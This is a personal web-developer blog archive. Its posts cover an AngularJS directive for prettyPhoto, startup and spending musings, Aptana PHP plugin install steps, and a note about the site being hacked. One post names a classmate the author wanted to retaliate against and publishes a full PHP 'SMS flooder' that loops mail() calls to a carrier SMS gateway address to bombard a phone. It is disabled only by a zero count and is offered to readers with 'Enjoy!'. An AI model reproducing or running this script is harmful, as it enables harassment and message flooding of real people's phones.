Archive for the ‘Web Development’ Category

AngularJS and PrettyPhoto

Include the prettyPhoto js and css files (+jQuery if it’s not already in there…) in your app’s html header. Don’t forget to put the prettyphoto images in /images/prettyPhoto

Add this directive to your app

.directive('prettyp', function(){
return function(scope, element, attrs){
$("[rel^='prettyPhoto']").prettyPhoto({deeplinking: false});
}
})

Use pretty photo like normal but add the prettyp attribute to your wrapper

<div prettyp class="image" ng-repeat="image in images" ng-href="{{image.path}}" rel="prettyPhoto[main]" target="_blank">
<img ng-src="{{image.path | image : 'thumb'}}" width="70px"/>
</a>

¬†Note: You have to turn deeplinking off because it screws with angular if you’re using the # in your urls.¬†

Some people wish, I scheme.

Main Entry: scheme
Part of Speech: noun
Definition: plot, maneuver to get result

Charles did the math today and concluded that with DealBk we can make good money with very few merchants signed up. I’m talking about buying a house kind of money. Lucky me, we only play big and very few does not fit our plans.

In what order do you buy the things that define who you are? I’m talking about all those things that no one else really pays attention to. All those things that at the end of the day… you’re the only one who really cares.

I’ll list what I have so far in the order that I like as of today:

phone, computer, apartment, car, house, pet, boat, plane, home

The way I see this list is anything listed before anything else can be bought in multiples before that so… an exploded list may look like

phone, phone, computer, apartment, phone, car, computer, phone, house, pet, phone… etc etc ending with home

When I buy a house, the restrooms will have toilets and urinals and everything will have autoflushers. All the sinks will be automatic too, but with manual on switches.

Annoying in class.

There’s a guy named David Martin in our class who ruined someone else’s project presentation in front of the entire class today due to his inability to be a decent person.

Even though it wasn’t my project he ruined I built an SMS flooder just for him. Marshall talked me out of using it on him… but I decided the code was good anyways. Enjoy!

———————-Begin smsflood.php———————-

<style type=”text/css”>
div.error{
font-weight: bolder;
color: #cc0000;
}
</style>

<h1>sms flooder</h1>
<?php

try {

/*
* AT&T @txt.att.net
* Verizon @vtext.com
*/

$to = “23489234@vtext.com”;
$subject = “Subject text”;
$body = “Body text.”;
$amount = 0;

if($amount == 0)
echo ‘<div class=”error”>SMS flooder turned off, edit smsflood.php line 12 to activate.</div>’;

for ($i = 1; $i <= $amount; ++$i){
if (mail($to, $subject, $body)) echo(“<p>Message number “. $i .” successfully sent!</p>”);
else echo(‘<p><div class=”error”>Message number ‘. $i .’ failed</div>’);
}
} catch (Exception $e) {

echo $e . ‘<br /><br />Something’s probably wrong with your SMTP servers amiright? Install and run <a href=”http://www.qksoft.com/qk-smtp-server/”>QK SMTP Server</a> first.’;

}

?>

———————-End smsflood.php———————-

On why I like doing what I do so much

I think I like doing what I do so much because it is one of the only things that I feel I have complete control over in life. I don’t think it’s a very usual thing for people to have found so early in life… so I’m very glad to have realized this. When I’m developing websites I have complete control and access to everything. There is nothing standing in my way because anything and everything is possible with what I have and the time I allocate to it. There is never a monetary block. :]

web_development_photo

Aptana PHP Plugin Installation Instructions

Installing this Plugin via Aptana or Eclipse

  1. From the Help menu, select Install New Software… to open an Install pop-up window.
  2. In the Work with: text box of the Install window, type the URL http://update15.aptana.org/php/25753/ for the update site, and hit the Enter key.
  3. In the populated table below, check the box next to the name of the plug-in, and click the Next button.
  4. Click the Next button to go to the license page.
  5. Choose the option to accept the terms of the license agreement, and click the Finish button.

Manual Installation

  1. Save the above file to an easy-to-find location.
  2. Open Eclipse distribution, and go to Help -> Install New Software….
  3. Click the Add… button to open the Add Site window.
  4. Click the Archive… button, and select the file saved in step 1.
  5. Select the appropriate plugins to install, and click Next -> Next.
  6. Click the Finish button.

See Installing a Plug-in if you have further questions.

Hacked

My site was recently hacked by a penis enlargement spammer. Please disregard the missing content on the front page. The cs carrier fair is today so hopefully I can find some time to rewrite it before any of the recruiters look. I’m confident in my portfolio and ability so getting a call won’t be hard. Wish me luck anyways.

Return top